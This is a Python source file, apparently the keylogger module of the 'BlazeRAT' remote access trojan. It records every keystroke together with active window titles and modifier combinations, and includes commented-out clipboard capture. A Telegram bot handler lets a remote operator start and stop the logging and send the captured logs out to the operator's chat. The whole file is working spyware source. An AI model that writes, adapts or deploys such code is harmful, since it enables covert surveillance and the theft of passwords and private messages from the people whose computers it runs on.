123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176 |
- #!/usr/bin/python3
- # -*- coding: utf-8 -*-
- # Import modules
- from time import ctime
- from io import BytesIO
- from core.logger import Log
- from threading import Thread
- from core.messages import services as Messages
- from pynput.keyboard import Listener, Key # pip install pynput
- from services.keyboard import controller
- from services.shell import System as RunSystemCommand
- # import pyperclip
- import subprocess
- """
- Author : LimerBoy
- github.com/LimerBoy/BlazeRAT
- Notes :
- The file is needed
- to log all keyboard events.
- """
- # Get active window title
- def GetActiveWindowTitle() -> str:
- output = RunSystemCommand(" xdotool getwindowfocus getwindowname")
- return output[:-1] # Remove '\n'
- """
- Keylogger class:
- https://github.com/LimerBoy/CrazyPy/blob/master/Spying/Keylogger.py
- """
- class Logger:
- # Constructor
- def __init__(self, logs=""):
- self.__keys = logs
- self.__stopped = True
- self.__thread = Thread(target=self.__Run)
- self.__prev_window_title = ""
- self.__last_key = 0
- # Log key press
- def __LogKeyPress(self, key: Key):
- key_text = (str(key)
- .replace("\'", "")
- .replace("Key.", ""))
- # Space
- if key == Key.space:
- key_text = " "
- # Enter (new line + active window title)
- elif key == Key.enter:
- active_window = GetActiveWindowTitle()
- if self.__prev_window_title == active_window:
- key_text = "\n"
- else:
- self.__prev_window_title = active_window
- key_text = f"\n\n ### {active_window} ({ctime()}) ###\n"
-
- # Special key add [KEY]
- elif len(key_text) > 1:
- if key_text =='backspace':
- key_text = f"[BACK]"
- else:
- key_text = f"[{key_text}]".upper()
- # Append key to all keys
- last6 = self.__keys[-6:]
- last7 = self.__keys[-7:]
- last5 = self.__keys[-5:]
- needClipboard = False
- if last6 == "[CTRL]":
- self.__keys = self.__keys[:-6]
- if(key_text=="v" or key_text=="c"):
- needClipboard = True
- key_text = f"[CTRL+{key_text}]"
- self.__keys += key_text
- # if needClipboard == True:
- # clipboard_text = subprocess.run(['xclip', '-selection', 'clipboard', '-out'], capture_output=True, text=True).stdout.strip()
- # self.__keys+=f"[{clipboard_text}]"
- elif last7 == "[SHIFT]":
- self.__keys = self.__keys[:-7]
- key_text = f"[SHIFT+{key_text}]"
- self.__keys += key_text
- elif last5 == "[ALT]":
- self.__keys = self.__keys[:-5]
- self.__keys += key_text
- # On stop
- if self.__stopped:
- return False
- # Run logger
- def __Run(self):
- with Listener(on_press=self.__LogKeyPress) as listener:
- listener.join()
- # Return all logs
- def FetchLogs(self) -> str:
- return self.__keys
- # Clean logs
- def CleanLogs(self):
- self.__keys = ""
- # Start keylogger
- def Start(self):
- self.__stopped = False
- # Append active window title when logger started
- if len(self.__keys) < 5:
- self.__keys += f"\n ### {GetActiveWindowTitle()} ({ctime()}) ###\n"
- self.__thread.start()
- # Stop keylogger
- def Stop(self):
- self.__stopped = True
- controller.press(Key.space)
- controller.release(Key.space)
- self.__thread.join()
- # Is active
- def IsActive(self):
- return not self.__stopped
- # Keylogger
- __keylogger = Logger()
- """ Handle telegram command """
- def Handle2(callback: dict, bot) -> None:
- global __keylogger
- chatid = callback.from_user.id
- action = callback.data[:-9]
- # Log
- Log("Keylogger >> Run action " + action, chatid)
- # Action
- bot.send_chat_action(chatid, "typing")
- # Enable keylogger
- if action == "Enable":
- if __keylogger.IsActive():
- result = Messages.keylogger_recording_not_stopped
- else:
- # Move logs when logger restarted
- logs = __keylogger.FetchLogs()
- __keylogger = Logger(logs)
- __keylogger.Start()
- result = Messages.keylogger_recording_started
- # Disable keylogger
- elif action == "Disable":
- if not __keylogger.IsActive():
- result = Messages.keylogger_recording_not_started
- else:
- __keylogger.Stop()
- result = Messages.keylogger_recording_stopped
- # Get keylogs
- elif action == "GetData":
- out = __keylogger.FetchLogs()
- if len(out) < 5:
- result = "Logs not found"
- else:
- obj = BytesIO()
- obj.write(out.encode("utf8"))
- return bot.send_document(
- chatid, obj.getvalue(),
- caption=Messages.keylogger_logs_received
- )
- # Clean logs
- elif action == "Clean":
- __keylogger.CleanLogs()
- result = Messages.keylogger_logs_cleaned
- # Send result
- bot.send_message(chatid, result)
|